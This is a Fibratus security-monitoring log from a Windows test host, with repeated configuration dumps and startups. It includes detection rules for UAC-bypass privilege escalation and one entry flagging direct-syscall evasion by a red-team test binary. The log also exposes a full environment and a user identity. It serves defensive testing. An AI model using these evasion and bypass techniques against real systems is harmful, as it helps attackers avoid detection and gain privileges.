healthcheck=>true flush-period=>1s index-name=>fibratus healthcheck-interval=>10s timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-procs=>[] fastscan=>true skip-files=>false scan-timeout=>10s skip-registry=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T02:09:44+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T02:09:46+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T02:09:50+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:09:50+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:09:50+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:09:50+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:09:50+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:09:50+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:09:50+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:09:50+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:09:50+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:09:50+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:09:50+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:11:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T02:11:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T02:11:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T02:11:57+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T02:11:57+01:00 level=info msg=bootstrapping with pid 1944. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T02:11:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 enabled=>false use-template=>true content-type=>text/html to=>[]] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-net=>true flush-interval=>1s enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true max-buffers=>36 enable-handle=>false stack-enrichment=>true enable-fileio=>true enable-thread=>true enable-registry=>true enable-threadpool=>true min-buffers=>16 enable-vamap=>true buffer-size=>512 enable-dns=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-age=>0 max-backups=>15 max-size=>100 formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] elasticsearch=>[ template-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false sniff=>false healthcheck-interval=>10s flush-period=>1s gzip-compression=>false index-name=>fibratus enabled=>false healthcheck-timeout=>5s timeout=>5s healthcheck=>true bulk-workers=>1] http=>[ enable-gzip=>false enabled=>false endpoints=>[] serializer=>json method=>POST tls-insecure-skip-verify=>false timeout=>5s] amqp=>[ enabled=>false delivery-mode=>transient tls-insecure-skip-verify=>false exchange-type=>topic timeout=>5s routing-key=>fibratus exchange=>fibratus vhost=>/ durable=>false passive=>false url=>amqp://localhost:5672] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false enabled=>false excluded-files=>[] skip-registry=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T02:11:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T02:11:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T02:12:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T02:12:01+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T02:12:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T02:12:19+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T02:12:19+01:00 level=info msg=bootstrapping with pid 14268. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T02:12:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ content-type=>text/html enabled=>false to=>[] use-template=>true port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-dns=>false buffer-size=>512 enable-mem=>false enable-threadpool=>true enable-registry=>true flush-interval=>1s enable-thread=>true max-buffers=>36 enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-vamap=>true stack-enrichment=>true enable-net=>true enable-image=>true enable-handle=>false enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 max-backups=>15 log-stdout=>true formatter=>text max-size=>100] + output ......................... [ http=>[ timeout=>5s enable-gzip=>false endpoints=>[] enabled=>false serializer=>json tls-insecure-skip-verify=>false method=>POST] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ delivery-mode=>transient routing-key=>fibratus passive=>false durable=>false timeout=>5s vhost=>/ tls-insecure-skip-verify=>false exchange-type=>topic enabled=>false url=>amqp://localhost:5672 exchange=>fibratus] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s healthcheck=>true enabled=>false healthcheck-interval=>10s trace-log=>false index-name=>fibratus gzip-compression=>false bulk-workers=>1 flush-period=>1s sniff=>false template-name=>fibratus timeout=>5s]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false scan-timeout=>10s skip-allocs=>false skip-registry=>false enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-27T02:12:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T02:12:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T02:12:24+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:12:24+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:12:30+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1797798 + Pid: 16864 + Tid: 2864 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 02:12:25.5501 +0100 CET + Params: callback➜ 7ff60ae11000, callback_module➜ C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe, context➜ 3692effac0, pool_id➜ 198adca1a80, subprocess_tag➜ 0, task_id➜ 198adcb4408 + Metadata: evasions: [direct_syscall] + + Pid: 16864 + Ppid: 15120 + Name: proxyHelper.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe + Cwd: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:25f19d62-40c7-42ca-a751-35d5541a3664 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff60ae11133 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7ff60ae11418 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7ffe8eece8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe9088c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T02:13:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T02:13:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T02:13:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T12:18:37+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T12:18:37+01:00 level=info msg=bootstrapping with pid 18300. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T12:18:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ enabled=>false port=>25 content-type=>text/html use-template=>true to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-fileio=>true buffer-size=>512 enable-handle=>false enable-vamap=>true enable-image=>true enable-threadpool=>true stack-enrichment=>true min-buffers=>16 enable-dns=>false enable-registry=>true max-buffers=>36 enable-net=>true enable-thread=>true enable-mem=>false enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 formatter=>text level=>info log-stdout=>true max-size=>100] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 passive=>false durable=>false tls-insecure-skip-verify=>false vhost=>/ routing-key=>fibratus exchange=>fibratus timeout=>5s enabled=>false delivery-mode=>transient exchange-type=>topic] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ endpoints=>[] enabled=>false serializer=>json method=>POST timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false] elasticsearch=>[ gzip-compression=>false index-name=>fibratus template-name=>fibratus flush-period=>1s timeout=>5s enabled=>false sniff=>false bulk-workers=>1 healthcheck=>true healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck-interval=>10s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] fastscan=>true skip-registry=>false scan-timeout=>10s skip-files=>false enabled=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T12:18:46+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T12:18:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T12:19:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T12:19:08+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T12:19:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T12:19:15+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T12:19:15+01:00 level=info msg=bootstrapping with pid 18244. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T12:19:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html port=>25 enabled=>false use-template=>true to=>[]] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-mem=>true flush-interval=>1s enable-vamap=>true enable-image=>true stack-enrichment=>true enable-dns=>false enable-thread=>true buffer-size=>512 enable-registry=>true enable-threadpool=>false enable-handle=>false min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-fileio=>true max-buffers=>36 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 formatter=>text max-backups=>15 level=>info log-stdout=>true] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s trace-log=>false healthcheck=>true gzip-compression=>false timeout=>5s enabled=>false sniff=>false flush-period=>1s bulk-workers=>1 servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-timeout=>5s index-name=>fibratus] http=>[ method=>POST serializer=>json enabled=>false timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[]] amqp=>[ vhost=>/ url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus exchange-type=>topic enabled=>false timeout=>5s delivery-mode=>transient durable=>false passive=>false exchange=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false enabled=>false excluded-files=>[] scan-timeout=>10s skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true excluded-procs=>[] skip-mmaps=>false skip-allocs=>false] 